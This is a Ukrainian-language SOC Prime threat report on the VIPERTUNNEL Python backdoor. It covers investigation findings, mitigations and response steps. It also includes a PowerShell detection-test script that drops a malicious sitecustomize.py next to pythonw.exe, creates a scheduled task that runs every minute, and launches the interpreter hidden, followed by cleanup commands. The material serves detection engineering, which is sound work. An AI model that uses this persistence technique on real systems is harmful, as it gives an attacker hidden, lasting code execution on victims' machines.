SOC Prime Bias: Високий

14 Apr 2026 15:38 UTC

VIPERTUNNEL Python Backdoor: Глибокий аналіз

Author Photo
SOC Prime Team linkedin icon Стежити
VIPERTUNNEL Python Backdoor: Глибокий аналіз
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

У звіті детально аналізується VIPERTUNNEL, бекдор на основі Python, який забезпечує стійкість через заплановане завдання і використовує зловмисний sitecustomize.py для завантаження заплутаної DLL. DLL дешифрує і виконує багатоетапний компонент, що встановлює SOCKS5 проксі до зафіксованого C2 сервера через порт 443. Інфраструктура пов’язана з UNC2165 і EvilCorp і поділяє техніки заплутування з ShadowCoil, що краде облікові дані.

Розслідування

Дослідники вивчили вивід Autoruns, ідентифікували заплановане завдання 523135538 і відстежили виконання до C:ProgramDatacp49spythonw.exe і його модуля sitecustomize.py. Зворотній інжиніринг b5yogiiy3c.dll виявив багатошарове заплутування, процедури дешифрування та фінальний етап, що створює SOCKS5 тунель з використанням жорстко заданих облікових даних. Аналіз інфраструктури пов’язав кілька доменів та IP-адрес з кампанією та підкреслив використання фреймворка Pyramid C2.

Пом’якшення

Встановіть моніторинг кінцевих точок, який відстежує виконання pythonw.exe без аргументів, створення запланованих завдань з числовими іменами та наявність sitecustomize.py у несподіваних місцях. Блокуйте вихідний трафік на відомі C2 домени та порти 443/8000 з аномальними відповідями HTTP 401. Реалізуйте суворий контроль додатків, щоб запобігти завантаженню несанкціонованих модулів Python.

Відповідь

Сповіщення про створення підозрілого запланованого завдання та виконання pythonw.exe без скрипту. Карантинуйте уражені хости, збирайте дампи пам’яті та шукайте характерні імена класів і жорстко задані облікові дані. Анулюйте скомпрометовані облікові дані та зруйнуйте C2 інфраструктуру, вказану у звіті.

Потік атаки

Виконання симуляції

Передумова: Перевірка телеметрії та базових показників перед прийняттям повинна бути успішно пройдена.

Обґрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначене для запуску правила виявлення. Команди та наратив ПОВИННІ прямо відображати ідентифіковані TTP та прагнути генерувати точну телеметрію, очікувану логікою виявлення.

  • Нарис атаки та команди:

    Супротивник спочатку скидає зловмисний sitecustomize.py в ту ж директорію, що і pythonw.exe. Python автоматично імпортує sitecustomize.py при запуску інтерпретатора, дозволяючи атакуючому виконувати довільний код без передачі шляху до скрипту на командному рядку. Запускаючи pythonw.exe без будь-яких аргументів, подія створення процесу містить пустий CommandLine поле, чим задовольняється умова правила Sigma. Завантаження створює заплановане завдання для стійкості, забезпечуючи запуск інтерпретатора при запуску системи, тим самим підтримуючи довгострокове закріплення.

  • Скрипт тестування на регресію:

    # -------------------------------------------------
    # Встановлення зловмисного sitecustomize.py
    # -------------------------------------------------
    $payloadPath = 'C:ProgramDatacp49ssitecustomize.py'
    $exePath     = 'C:ProgramDatacp49spythonw.exe'
    
    # Переконайтесь, що цільова папка існує
    New-Item -ItemType Directory -Path (Split-Path $exePath) -Force | Out-Null
    
    # Розгорніть нешкідливу копію pythonw.exe для тесту (якщо ще не наявна)
    # У реальному сценарії з червоною командою це був би легітимний інтерпретатор
    if (-Not (Test-Path $exePath)) {
        # Скопіюйте з системної інсталяції Python (скоригуйте шлях за необхідності)
        Copy-Item 'C:Python39pythonw.exe' $exePath
    }
    
    # Створення зловмисного sitecustomize.py (створює заплановане завдання як доказ концепції)
    @"
    import subprocess, sys
    # Створити заплановане завдання, яке запускає pythonw.exe кожну хвилину (стійкість)
    subprocess.run(['schtasks', '/Create', '/SC', 'MINUTE', '/MO', '1',
                '/TN', 'UpdateTask', '/TR', sys.executable])
    "@ | Set-Content -Path $payloadPath -Encoding UTF8
    
    # -------------------------------------------------
    # Запуск виявлення (зловмисне виконання)
    # -------------------------------------------------
    Write-Host '[+] Запуск pythonw.exe з пустим командним рядком...'
    Start-Process -FilePath $exePath -ArgumentList '' -WindowStyle Hidden
    
    # Очікуйте короткий період для створення запланованого завдання (не обов'язково)
    Start-Sleep -Seconds 5
    
    Write-Host '[+] Пантекста виконано. Перевірте ваш SIEM на наявність сповіщення.'
    # -------------------------------------------------
    # Кінець скрипту
    # -------------------------------------------------
  • Команди очищення:

    # Видаліть зловмисний sitecustomize.py
    Remove-Item -Path 'C:ProgramDatacp49ssitecustomize.py' -Force -ErrorAction SilentlyContinue
    
    # Видаліть заплановане завдання, створене пантекстом
    schtasks /Delete /TN UpdateTask /F
    
    # За бажанням, видаліть скопійоване pythonw.exe (якщо це була тестова копія)
    # Remove-Item -Path 'C:ProgramDatacp49spythonw.exe' -Force
    
    Write-Host '[+] Очищення завершено.'